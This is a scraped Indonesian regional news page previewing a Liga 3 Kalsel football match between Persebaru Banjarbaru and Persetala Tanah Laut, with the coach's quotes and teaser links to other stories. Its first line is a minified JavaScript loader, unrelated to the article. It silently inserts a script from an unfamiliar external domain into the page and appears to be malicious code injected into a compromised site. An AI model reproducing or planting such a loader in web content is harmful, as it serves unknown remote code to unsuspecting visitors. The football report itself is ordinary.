(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Persebaru Banjarbaru bakal tandang ke kandang Persetala Tanah Laut di lapangan Pinang Babaris Pabahanan, Pelaihari, Rabu (21/9/2022) sore.
Tergabung di Grup A Liga 3 Zona Kalsel melawan Persetala, Persebaru yakin merebut 3 poin penuh dalam pertandingan kedua nanti.
Pelatih kepala Persebaru, Cecep Sunandar yakin anak asuhnya tampil maksimal setelah berkaca dalam pertandingan sebelum kala menjamu Persitamban, dan akan menambah daya gedor di segala lini.
Baca juga : 40 Guru Ngaji Terima Santunan dari Baznas HSU
“Menghadapi Persetala, kita belajar dari kekurangan di pertandingan pertama, Persebaru akan memperbaiki cara kerja tim dalam bertahan, menyerang dan transisi,” ungkapnya kepada Kanalkalimantan.com, Selasa (20/9/2022) sore.
Dilanjutkan Cecep, dalam pertandingan besok dirinya yakin anak asuhannya dapat mencuri 3 poin penuh dari Persetala.
“Dari tanding pertama kemarin, kita sudah tahu dimana letak kekurangan tim. Inshaallah akan menjadi modal untuk dapat mencuri poin di Tanah Laut,” tuntasnya. (Kanalkalimantan.com/Ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.